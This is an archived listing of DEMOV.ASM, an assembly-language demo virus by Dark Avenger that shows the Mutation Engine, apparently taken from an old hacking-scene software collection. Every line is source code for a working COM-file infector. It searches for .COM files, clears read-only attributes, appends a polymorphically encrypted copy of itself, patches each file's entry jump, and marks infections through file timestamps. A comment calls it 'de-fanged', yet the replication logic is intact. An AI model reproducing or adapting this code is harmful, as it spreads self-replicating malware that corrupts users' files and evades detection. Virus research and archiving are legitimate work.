home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / DEMOV.ASM < prev    next >
Assembly Source File  |  1993-03-24  |  5KB  |  196 lines

  1.  
  2. ; This is a demo virus to demonstrate
  3. ;   the Mutation Engine <tm> usage
  4.  
  5. ; Version 1.01 (26-10-91)
  6. ; (C) 1991 Dark Avenger.
  7.  
  8. ; De-Fanged for experimentation by Mark Ludwig 3/24/93
  9.  
  10.         .model  tiny
  11.         .radix  16
  12.         .code
  13.  
  14.         extrn   mut_engine: near, rnd_get: near, rnd_init: near
  15.         extrn   rnd_buf: word, data_top: near
  16.  
  17.         org     100
  18.  
  19. start:
  20.         call    locadr
  21. locadr:
  22.         pop     dx
  23.         mov     cl,4
  24.         shr     dx,cl
  25.         sub     dx,10
  26.         mov     cx,ds
  27.         add     cx,dx                   ;Calculate new CS
  28.         mov     dx,offset begin
  29.         push    cx dx
  30.         retf
  31. begin:
  32.         cld
  33.         mov     di,offset start
  34.         push    es di
  35.         push    cs
  36.         pop     ds
  37.         push    ax
  38.         mov     dx,offset dta_buf       ;Set DTA
  39.         mov     ah,1a
  40.         int     21
  41.         xor     ax,ax                   ;Initialize random seed
  42.         mov     [rnd_buf],ax
  43.         call    rnd_init
  44.         mov     dx,offset srchnam
  45.         mov     cl,3
  46.         mov     ah,4e
  47. find_lup:
  48.         int     21                      ;Find the next COM file
  49.         jc      infect_done
  50.         call    isinf                   ;see if infected
  51.         jnz     infect                  ;If not infected, infect it now
  52. find_nxt:
  53.         mov     dx,offset dta_buf
  54.         mov     ah,4f
  55.         jmp     find_lup
  56. infect_done:
  57.         push    cs
  58.         pop     ds
  59.         push    ss
  60.         pop     es
  61.         mov     di,offset start
  62.         mov     si,offset oold_cod
  63.         movsb                           ;Restore first 3 bytes
  64.         movsw
  65.         push    ss
  66.         pop     ds
  67.         mov     dx,80                   ;Restore DTA
  68.         mov     ah,1a
  69.         int     21
  70.         pop     ax
  71.         retf
  72.  
  73.  
  74. infect:
  75.         xor     cx,cx                   ;Reset read-only attribute
  76.         mov     dx,offset dta_buf+1e
  77.         mov     ax,4301
  78.         int     21
  79.         jc      infect_done
  80.         mov     ax,3d02                 ;Open the file
  81.         int     21
  82.         jc      infect_done
  83.         xchg    ax,bx
  84.         mov     ax,WORD PTR [old_cod]
  85.         mov     WORD PTR [oold_cod],ax
  86.         mov     al,BYTE PTR [old_cod+2]
  87.         mov     BYTE PTR [oold_cod+2],al
  88.         mov     dx,offset old_cod       ;Read first 3 bytes
  89.         mov     cx,3
  90.         mov     ah,3f
  91.         int     21
  92.         jc      read_done
  93.         xor     cx,cx                   ;Seek at EOF
  94.         xor     dx,dx
  95.         mov     ax,4202
  96.         int     21
  97.         test    dx,dx                   ;Make sure the file is not too big
  98.         jnz     read_done
  99.         cmp     ax,-2000
  100.         jnc     read_done
  101.         mov     bp,ax
  102.         sub     ax,3
  103.         mov     word ptr [new_cod+1],ax
  104.         mov     ax,cs
  105.         add     ax,1000H
  106.         mov     es,ax
  107.         mov     dx,offset start
  108.         mov     cx,offset _DATA
  109.         push    bp bx
  110.         add     bp,dx
  111.         xor     si,si
  112.         xor     di,di
  113.         mov     bl,0f
  114.         mov     ax,101
  115.         call    mut_engine
  116.         pop     bx ax
  117.         add     ax,cx                   ;Make sure file length mod 256 = 0
  118.         neg     ax
  119.         xor     ah,ah
  120.         add     cx,ax
  121.         mov     ah,40                   ;Put the virus into the file
  122.         int     21
  123.         push    cs
  124.         pop     ds
  125.         jc      write_done
  126.         sub     cx,ax
  127.         jnz     write_done
  128.         xor     dx,dx                   ;Put the JMP instruction
  129.         mov     ax,4200
  130.         int     21
  131.         mov     dx,offset new_cod
  132.         mov     cx,3
  133.         mov     ah,40
  134.         int     21
  135.         jmp     write_done
  136. read_done:
  137.         mov     ah,3e                   ;Close the file
  138.         int     21
  139.         jmp     infect_done
  140. write_done:
  141.         mov     ax,5700H                        ;get date & time on file
  142.         int     21H
  143.         push    dx
  144.         mov     ax,cx                           ;fix it
  145.         xor     ax,dx
  146.         mov     cx,0A
  147.         xor     dx,dx
  148.         div     cx
  149.         mul     cx
  150.         add     ax,3
  151.         pop     dx
  152.         xor     ax,dx
  153.         mov     cx,ax
  154.         mov     ax,5701H                        ;and save it
  155.         int     21H
  156.         jmp     read_done
  157.  
  158. ;determine if file is infected
  159. isinf:
  160.         mov     dx,offset dta_buf+1e
  161.         mov     ax,3d02                 ;Open the file
  162.         int     21
  163.         mov     bx,ax
  164.         mov     ax,5700H                        ;get file attribute
  165.         int     21H
  166.         mov     ax,cx
  167.         xor     ax,dx                           ;date xor time mod 10 = 3 for infected file
  168.         xor     dx,dx
  169.         mov     cx,0A
  170.         div     cx
  171.         cmp     dx,3
  172.         pushf
  173.         mov     ah,3e                   ;Close the file
  174.         int     21
  175.         popf
  176.         ret
  177.  
  178.  
  179. srchnam db      '*.COM',0
  180.  
  181. old_cod:                                ;Buffer to read first 3 bytes
  182.         ret
  183.         dw      55AA
  184.  
  185. oold_cod:                               ;old old code
  186.         db      0,0,0
  187.  
  188. new_cod:                                ;Buffer to write first 3 bytes
  189.         jmp     $+100
  190.  
  191.         .data
  192.  
  193. dta_buf db      2bh dup(?)              ;Buffer for DTA
  194.  
  195.         end     start
  196.